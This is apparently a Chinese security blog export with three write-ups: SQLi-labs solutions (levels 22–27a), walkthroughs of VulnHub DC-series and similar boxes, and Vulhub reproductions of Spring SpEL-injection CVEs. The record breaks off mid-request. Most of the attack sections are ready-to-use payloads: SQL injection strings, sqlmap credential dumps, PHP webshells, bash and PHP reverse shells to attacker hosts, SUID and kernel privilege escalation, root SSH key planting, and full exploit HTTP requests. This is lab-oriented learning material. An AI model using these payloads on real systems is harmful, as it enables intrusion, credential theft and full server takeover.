数据YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzICBsaW1pdCAzLDEpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzICBsaW1pdCAzLDEpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE= 22关base64编码双引号的cookie注入 123456789101112-- 表admin" and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)) and "1" = "1YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAgbGltaXQgMywxKSwweDdlKSwxKSkgYW5kICIxIiA9ICIx-- 列YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDEsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ==YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIGxpbWl0IDIsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ==-- 数据YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzIGxpbWl0IDMsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ==YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDMsMSksMHg3ZSksMSkpIGFuZCAiMSIgPSAiMQ== 23关基于GET错误的过滤注释 分析源代码 1234567891011$reg = "/#/";$reg1 = "/--/";$replace = "";$id = preg_replace($reg, $replace, $id);$id = preg_replace($reg1, $replace, $id);$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id." ");fclose($fp);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result); 12345678910-- 表?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3 and '1' = '1-- 列?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),3 and '1' = '1?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),3 and '1' = '1-- 表?id=-1' union select 1,(select username from users limit 3,1),3 and '1' = '1?id=-1' union select 1,(select password from users limit 3,1),3 and '1' = '1 24关本关为二阶注入,查看源码,在修改密码时直接调用username没有进行过滤可以注册一个新账户Dumb'#,密码为123456登录Dumb’#账户,修改密码为password,再次使用Dumb登录发现原来的密码被修改为password 25关本关过滤了and和or关键字,采用常规思路注入即可,注意password需要将其中or重写来绕过检测 123456-- 表?id=-1' union select 1,2,group_concat('~',table_name) from infoorrmation_schema.tables where table_schema=database() --+-- 列?id=-1' union select 1,2,group_concat('~',column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' --+-- 数据?id=-1' union select 1,2,group_concat('~',username,passwoorrd) from users --+ 25a关本关与25基本一致,这一关只不过换成了数字型注入 123456-- 表?id=-1 union select 1,2,group_concat('~',table_name) from infoorrmation_schema.tables where table_schema=database() --+-- 列?id=-1 union select 1,2,group_concat('~',column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' --+-- 数据?id=-1' union select 1,2,group_concat('~',username,passwoorrd) from users --+ 26关本关对大多数字符和关键字都进行了过滤,如注释符号、and、or、空格等,使用|绕过 12345678-- 表?id=1'%0B||updatexml(1,concat("~",(select%0Btable_name%0Bfrom%0Binfoorrmation_schema.tables%0Bwhere%0Btable_schema=database()%0Blimit%0B3,1)),1)|'1'='1-- 列?id=-1'%0B||updatexml(1,concat("~",(select%0Bcolumn_name%0Bfrom%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema=database()%0Banandd%0Btable_name='users'%0Blimit%0B1,1)),1)|'1'='1?id=-1'%0B||updatexml(1,concat("~",(select%0Bcolumn_name%0Bfrom%0Binfoorrmation_schema.columns%0Bwhere%0Btable_schema=database()%0Banandd%0Btable_name='users'%0Blimit%0B2,1)),1)|'1'='1-- 数据?id=-1'%0B||updatexml(1,concat("~",(select%0Busername%0Bfrom%0Busers%0Blimit%0B3,1)),1)|'1'='1?id=-1'%0B||updatexml(1,concat("~",(select%0Bpassword%0Bfrom%0Busers%0Blimit%0B3,1)),1)|'1'='1 26a关时间盲注 1?id=-1')|if(substring((database()),1,1)="s",sleep(5),1)|('1')=('1 27关使用%0B代替空格绕过 1?id=1'%0Band%0Bupdatexml(1,concat("~",database()),1)%0Band'1'='1 27a关时间盲注 1?id=1"%0Band%0Bif(substring(database(),1,1)="s",sleep(5),1)and"1"="1","tags":["渗透测试"],"categories":["漏洞复现","Web"]},{"title":"VulnHub-DC系列","path":"/2022/11/02/735afd67/","content":"总字符数: 18.71K 代码: 1.12K, 文本: 4.63K 预计阅读时间: 25 分钟 DC-3https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ova arp-scan使用Kali中的arp-scan工具扫描结果如下: nmap探测使用nmap工具 端口扫描结果如下: 由扫描结果知开放端口只有一个: 80(http默认端口). 访问web访问web界面如下: 对网站信息收集打开插件Wappalyzer进行网站指纹识别如下: 从指纹识别信息中提取出的信息有: 1 内容管理系统(CMS):Joomla Joomla*!*是使用PHP语言加上MySQL数据库所开发的软件系统. 2 操作系统:Ubuntu 3 字体脚本:Google Font API 4 Web服务器:Apache 2.4.18 5 编程语言:PHP 6 JavaScript:JQuery 1.12.4 JQuery Migrate 1.4.1 7 用户界面(UI)框架:Bootstrap Kali中的joomscan网站扫描工具就是专门用来扫描此类网站的 perl joomscan.pl --url http://172.16.12.151 其中joomla版本为:3.7.0 后台管理页面为:http://192.168.164.132/administrator/ 用户密码破解搜索漏洞 我们查看这个sql注入的文本文档 写的很详细,包括注入的类型和payload及使用sqlmap暴力注入 直接上sqlmap 暴库 sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 暴表 sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] 看到了user相关表 暴字段 qlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering] 暴内容 sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering] 破解密码 将密文保存到一个文件中使用john破解,:后面的为密码 用户admin的密码为snoopy 使用admin登录web 提权生成木马 访问Protostar Details and Files 点进去更改index.php的内容,写入木马 保存,使用weevely连接 Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null 查看系统内核以及系统版本 只要符合条件的都可以试一下,这里选择39772,下载 记住使用方法,kali去下载这个压缩包 靶机下载 解压zip 进入目录,继续解压exp 反弹shell,weevely有些不好使 更换为全交互终端 python3 -c 'import pty;pty.spawn("/bin/bash")' 进入这个目录,运行文件 等待大概1分钟,提权成功 查看flag DC-4环境搭建https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-4.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-4.ova 下载靶场文件,使用Vbox或者VM打开即可;攻击机使用kali-2020. 信息收集主机发现 使用Kali中的arp-scan工具扫描结果如下 端口探测 探测使用nmap工具 由扫描结果知开放端口有两个:22(SSH服务默认端口)和80(http默认端口) 目录扫描 dirsearch 访问web 访问web界面如下 网站信息收集** 打开插件Wappalyzer进行网站指纹识别如下 从指纹识别信息中提取出的信息有: 1 Web服务器:Nginx 1.15.0 右键点击查看源代码未发现flag字样 从源代码中只能看见用户名/密码的提交方式为POST方式,先尝试一些常见的用户名和密码如admin:admin等登陆失败,用php万能密码登录也是失败.用户密码破解 账号密码:admin,happy,没必要爆破,有些人的教程是爆破,很多字典里基本不会有这种词 使用账号密码登录如下 点击Commad出现如下 点击第一个选项点击run出现如下页面 继续用bp抓包看看 看样子我们可以在这里抓包更改执行我们想要执行的命令,直接反弹shell exim4提权发现可以使用exim4进行提权操作 查看版本号,版本为4.89 Kali中寻找提权方法 上面中最后选用的是46996.sh脚本,将此文件上传到DC-4上尽量下载到tmp目录下,记得chmod 777 46996.sh 开始提权 提权成功,查看flag文件 DC-5https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-5.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc-5.ova 渗透过程 kali扫描局域网: 1arp-scan -l nmap扫描开放的服务及端口: 1nmap -sS -Pn -p- -v -P4 192.168.138.133 看到开启了80端口的web服务,访问http://192.168.138.133 使用kali自带的目录爆破工具dirbuster对该ip的目录结构进行爆破: 访问扫描出来的footer.php文件: 发现每次访问,年份都会发生变化: 并且在每个页面的底部都有类似字样: 猜测对footer.php进行了文件包含 这里使用kali自带的wfuzz工具,对文件包含的参数进行爆破: 1wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.138.133/thankyou.php?FUZZ=/etc/passwd -z指定字典文件/usr/share/wfuzz/wordlist/general/common.txt,第二个参数指定爆破的url地址和参数位置(FUZZ所在位置) 通过判断返回包长度来确定正确的参数,这里尝试读取/etc/passwd 1http://192.168.138.133/thankyou.php?file=/etc/passwd 成功读取 可以尝试包含access.log日志文件: 1http://192.168.138.133/thankyou.php?file=/var/log/nginx/access.log 那我们可以采用在access.log注入一句话木马,然后进行包含来运行. 使用蚁剑终端反弹shell: 1bash -c 'bash -i >& /dev/tcp/192.168.138.129/7777 0>&1' 使用python将半交互式shell转换为全交互式shell: 1python -c 'import pty;pty.spawn("/bin/bash")' 尝试使用suid进行提权: 1find / -perm -u=s -type f 2>/dev/null screen程序可能进行提权,使用searchsploit搜索该程序相关漏洞: 1searchsploit screen 4.5.0 存在越权点,将41154.sh文件拷贝到当前目录: 1searchsploit -m 41154.sh 将其使用蚁剑上传至靶机中,并更改权限为777: 在反弹的shell中执行该脚本文件: 1./41154.sh 成功提权至root octoberhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/dc3.ova 靶场搭建 下载完导入虚拟机,然后使用默认桥接模式即可.下载链接:https://www.vulnhub.com/entry/its-october-1,460/如果出现IP无法分配可参考:https://www.cnblogs.com/yichen115/p/12609048.html 信息收集app-scan扫描内网发现敏感IParp-scan -l nmapnmap -sS -Pn -v -A T4 192.168.164.130 使用namp扫描常用端口 dirsearch扫描敏感目录 dirsearch -u http://192.168.164.130,可以看到auth,盲猜是个登录页面,访问看一下 看到需要账号密码,暂时放弃 dirsearch -u http://192.168.164.130:8080 查看8080端口有没有隐藏信息,后面在8080端口的源代码中发现了注释代码 访问这个页面,可以看到账号密码,拿这个账号密码去登录 登录进来之后查找指纹信息 使用searchsploit漏洞库搜索一下相关手册,下载这个手册 在这个手册中可以发现PHP upload protection bypass 可以通过这个方法绕过一下,我这里通过Google使用了cms中的创建文件的方法 写入代码 123function onstart(){ $s=fsockopen("YOUR-VPS",6666);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);} kali监听6666端口,并且去访问这个页面 系统提权用某些方法将以下文件下载到KALIhttps://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh然后用kali起一个服务,在靶场使用wget下载sh文件,并且赋予可执行权限 python3 -m http.server 8080 通过上图发现了这台机器有python3.7.使用python3.7将当前半交互Shell变为全交互python3 -c 'import pty;pty.spawn("/bin/bash")' 使用find看看root权限中的命令有没有python3.7 123456789find / -perm -u=s -type f 2>/dev/null# / 表示从文件系统的顶部(根)开始并找到每个目录# -perm 表示搜索随后的权限# -u=s 表示查找root用户拥有的文件# -type表示我们正在寻找的文件类型# f 表示常规文件,而不是目录或特殊文件# 2 表示该进程的第二个文件描述符,即stderr(标准错误)#>表示重定向# /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容 用带有root权限的Python3.7去新建一个终端,那么这个终端就会带有root权限 123# bash -p 开启一个新shell suid的话自然是开启 root shell# os模块: 对进程和进程运行环境进行管理/usr/bin/python3.7 -c 'import os; os.execl("/bin/bash", "bash", "-p") 这里可以看到uid虽然是www-data的,但是euid却是root的. linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限) RUID, 用于在系统中标识一个用户是谁,当用户使用用户名和密码成功登录后一个UNIX系统后就唯一确定了他的RUID. EUID, 用于系统决定用户对系统资源的访问权限,通常情况下等于RUID. SUID,用于对外权限的开放.跟RUID及EUID是用一个用户绑定不同,它是跟文件而不是跟用户绑定. ssh登录思路:使用kali的ssh密钥替换掉被攻击机的密钥来实现远程登录. kali生成密钥:ssh-keygen -t rsa 使用python起一个web服务(将id_rsa.pub从.ssh目录复制到其他目录后,再从其他目录开启服务),python3 -m http.server 8080靶机使用wget下载id_rsa.pub cp id_rsa.pub /root/.ssh/authorized_keys 最后在攻击机上使用root私钥进行ssh连接 drupalhttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/jangow01.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/jangow01.ova 靶场环境搭建:直接打开虚拟机 信息收集app-scan扫描内网发现敏感IParp-scan -l nmapnmap -sS -Pn -v -A T4 192.168.164.131 使用namp扫描常用端口 发现80端口,打开后发现需要登录,发现指纹为:drupal 攻击msf使用msf扫描指纹相关漏洞并且使用 设置要攻击的IP 运行,获取meterpreter 在当前目录下发现了flag1 查看文件内容 大概提示是一个优秀的cms一定会有配置文件,下面有请百度战士,搜一下drupal的项目结构 首先查看数据库配置文件,发现配置文件中有mysql账号密码 通过数据库账号密码连接到数据库查看敏感库以及表,找到后台的账号密码 发现了一个users表,查一下内容 发现密码加密,查找加密的文件(上面百度搜的时候说了scripts目录下有数据库相关脚本),发现了敏感词汇,password打开之后可以发现就是我们要找的password加密文件 重新加密一个密码替换进去,原加密密文一定记得保存,后续还要替换回去 在/vat/www下使用加密脚本用法./scripts/password-hash.sh [需要加密的明文]使用方法还可以看这个脚本的源代码,里面有写 进入数据库后执行UPDATE users SET pass="$S$Dv1IQzDZwEol9ORsIWxj1td1f.4yv/EDQBZ/HFqF46S84tS13gSU" where uid=1; 可以发现已经被替换 使用admin和123456进入后台,各个功能点开试一下,发现了flag3打开看一下 捕获关键字 flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到 /etc/passwd文件和/etc/shadow文件 所有的用户的账号和密码都在这两个文件中 /etc/passwd保存着每个用户账号.该文件只有管理员可以修改,但是对于所有的用户都可读 /etc/shadow保存着密码等信息.该文件只有系统管理员能够修改和查看,其他用户不能查看、修改. 查看/etc/passwd文件 在最后一行可以看到flag4在/home/flag4下 提示我们需要root权限,提权 find / -perm -u=s -type f 2>/dev/null find . -exec /bin/sh \\; 提权成功 到root目录下查看最终flag 登入msyql,将原来的密文替换回去 UPDATE users SET pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where uid=1; 可以看到已经替换回去了,剩下的权限维持自行发挥吧 angow01https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/oc-1.ovahttps://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/dc/oc-1.ova 如果出现IP无法分配可参考:https://www.cnblogs.com/yichen115/p/12609048.html arp-scan nmap 访问80页面,测试一下基本功能点,发现这个地方有rce http://192.168.164.133/site/busque.php?buscar=ls 写马http://192.168.164.133/site/busque.php?buscar=echo%20%27%3C?php%20eval($_POST[%27a%27]);%27%20%3E%203.php 进去之后,反弹shellbash -c 'bash -i > /dev/tcp/192.168.164.129/443 0>&1' 此靶场只能用443反弹shell请注意 使用python3.7将当前半交互Shell变为全交互 1python3 -c 'import pty;pty.spawn("/bin/bash")' 提权Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null 查看系统内核以及系统版本 根据前面的系统版本和内核查找历史漏洞 可以一个个测试,这里测试了45010可以 下载45010 使用蚁剑,将这个.c文件上传到靶机的tmp目录下 使用靶机编译 使用chmod 赋予a.out权限 发现了flag","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulHub-Spring漏洞复现","path":"/2022/10/20/16f1e4f4/","content":"总字符数: 15.77K 代码: 5.60K, 文本: 3.84K 预计阅读时间: 41 分钟 Spring Security OAuth2 远程命令执行漏洞 (CVE-2016-4977)漏洞概述Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块.在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令. 影响版本: Spring Security OAuth 1.0.0到1.0.5 Spring Security OAuth 2.0.0到2.0.9 Spring Security OAuth 2.0到2.0.14 Spring Security OAuth 2.1到2.1.1 Spring Security OAuth 2.2到2.2.1 Spring Security OAuth 2.3到2.3.2 漏洞复现启动完成后,访问http://your-ip:8080/即可看到web页面. 访问http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test.首先需要填写用户名和密码,我们这里填入admin:admin即可. 可见,我们输入是SpEL表达式${233*233}已经成功执行并返回结果: 然后,我们使用poc.py来生成反弹shell的POC 如上图,生成了一大串SpEL语句.使用这个SpEL语句进行攻击 http://103.116.46.7:8080/oauth/authorize?response_type=YOUR-Payload&client_id=acme&scope=openid&redirect_uri=http://test 反弹shell 修复建议漏洞修复代码见: https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2dhttps://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d 修复后的代码,将SpEL表达式的前缀判断改为了长度为6的随机字符串+{.这样的话,攻击者由于不知道前缀,所以就无法注入SpEL表达式进行攻击. 至于网上说这里因为是长度为6的随机字符串,有被暴破的风险.但个人认为不会,因为每一次的请求,在转发到/oauth/error接口处理,构造ModelAndView对象时,都会新建一个SpelView对象传进去,所以每次请求,这个6字节的随机字符串都会重新生成,所以并不存在暴破风险.当然,笔者只是根据代码的逻辑来判断的,并未实际调试验证. Spring Data Rest远程命令执行(CVE-2017-8046)漏洞概述Spring Data 表达方式是在 Spring Data 之外,帮助开发者更容易地开发 REST 服务.在 REST API 的 Patch 中实现实现,路径的值被 RFC(RFC)的 Web 方法,导致 SpEL执行setValue式,触发远程命令执行. 利用版本: Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 Spring Boot version < 2.0.0 M4 Spring Data release trains < Kay-RC3 漏洞复现 访问http://103.116.46.7:8080/能够查看json格式的返回值,说明这是一个Restful风格的API服务器. 将命令转换为ascii,然后将空格替换为, 访问http://103.116.46.7:8080/customers/1,查看资源.我们使用PATCH请求来修改 123456789101112PATCH /customers/1 HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 214[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112,105,110,103,32,116,51,102,102,49,118,46,100,110,115,108,111,103,46,99,110}))/lastname", "value": "vulhub" }] path的值是SpEL表达式,发送上面的数据包,将执行new byte[]{112,105,110,103,32,116,51,102,102,49,118,46,100,110,115,108,111,103,46,99,110}表示的命令ping t3ff1v.dnslog.cn 修复建议 官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞 Spring WebFlow 远程代码执行漏洞分析(CVE-2017-4971)漏洞概述通过官方描述和补丁的对比,我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件. 整体来说这个漏洞危害应该还是有一些的,如果满足2个前置条件,那么直接RCE是没什么问题的 利用版本: Spring WebFlow 2.4.0 - 2.4.4 漏洞复现 访问http://your-ip:8080将看到一个酒店预订的访问页面,这是spring-webflow官方给的简单示例 首先访问http://your-ip:8080/login,使用页面左侧提供的一个账户/密码登录系统 然后访问id为1的酒店http://your-ip:8080/hotels/1预订,点击按钮”预订酒店”,相关信息后点击”流程”(从这一步,其实WebFlow就正式开始了): 再点击确认,到这个页面之后,打开BURP准备抓包,然后点击Confirm 修改包数据 1&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/YOUR-VPS-IP/6666+0>%261")).start()=vulhub ​ 修复建议不受影响的版本 Spring Web Flow 2.4.5 规避方案官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞.官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为. Spring Data Rest远程命令执行(CVE-2017-8046)漏洞概述spring消息为框架提供消息支持,其上层协议是STOMP,通信基于SockJS, 在spring消息中,其允许客户端订阅消息,并使用selector过滤消息.selector使用SpEL编写执行消息,并使用StandardEvaluationContext解析,造成命令漏洞. 利用版本: Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.15 Older unsupported versions are also affected 漏洞复现环境启动后,访问http://your-ip:8080即可看到一个网页页面 网上大部分文章都说spring messaging是基于websocket通信,其实不然.spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信. 连接后端服务器的流程,可以理解为: 用STOMP协议将数据组合成一个文本流 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信 所以我们可以使用http来复现漏洞,称之为”降维打击”. 我编写了一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有: 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success') 某一个订阅的地址,如vulhub中为:/topic/greetings 如何触发这个订阅,即如何让后端向这个订阅发送消息.在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件.当然在实战中就不同了,所以这个poc并不具有通用性. 根据你自己的需求修改POC,比如修改URL以及命令 执行:python exploit.py 修复建议 请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本) 如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本) Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞概述Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架.Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令. 利用版本: Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5) 漏洞复现 访问页面时,是一个spring常见的错误页面 通过扫目录的方式发现敏感页面**/users** 在输入一些数据后点击注册,并使用burp抓包,修改数据包为如下payload并发送 123456789101112131415POST /users?page=&size=5 HTTP/1.1Host: 103.116.46.7:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 127Origin: http://103.116.46.7:8080Connection: closeReferer: http://103.116.46.7:8080/usersCookie: JSESSIONID=6F850A802C6E86AA7EC844A5CB119A79Upgrade-Insecure-Requests: 1username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping k1xchl.dnslog.cn")]=&password=&repeatedPassword= ​ 修复建议 2.0.x users should upgrade to 2.0.6 1.13.x users should upgrade to 1.13.11 Older versions should upgrade to a supported branch Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)漏洞概述Spring Cloud Gateway是Spring中的一个API网关.其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞.当 攻击者可以访问到 Spring Cloud Gateway actuator 端点时,攻击者可构造恶意请求,创建新路由,同时利用路由的filter功能注入spel表达式,从而造成表达式注入执行任意代码. 利用版本: 3.0.x < Spring Cloud Gateway < 3.0.7 3.1.x < Spring Cloud Gateway < 3.1.1 漏洞复现 服务启动后,访问http://your-ip:8080即可看到演示页面 发送如下数据包即可添加一个包含恶意SpEL表达式的路由 123456789101112131415161718192021POST /actuator/gateway/routes/new_result HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329{ "id": "new_result", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}" } }], "uri": "http://103.116.46.7:8080"} ​ 发送如下数据包应用刚添加的路由.这个数据包将触发SpEL表达式的执行 123456789101112POST /actuator/gateway/refresh HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 0 发送如下数据包即可查看执行结果 1234567891011GET /actuator/gateway/routes/new_result HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0 ​ 最后,发送如下数据包清理现场,删除所添加的路由 123456789DELETE /actuator/gateway/routes/new_result HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close ​ 再刷新下路由,可以看到已经无法访问了 1234567891011POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0 ​ ​ 修复建议 临时解决方案 如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用 如果需要Actuator端点,则应使用Spring Security对其进行保护. 官方升级补丁 3.1.x版本用户及时升级到3.1.1+ 3.0.x版本用户及时升级到3.0.7+ Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)漏洞概述Spring Cloud Function 是基于 Spring Boot 的函数计算框架.该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件.在Spring Cloud Function 相关版本,存在SpEL表达式注入.恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限 利用版本: 3.0.0 <= Spring Cloud Function <= 3.2.2 漏洞复现 服务启动后,执行curl http://103.116.46.7:8080/uppercase -H "Content-Type: text/plain" --data-binary test将会执行uppercase函数,将输入字符串转换成大写 发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行 1234567891011121314POST /functionRouter HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: 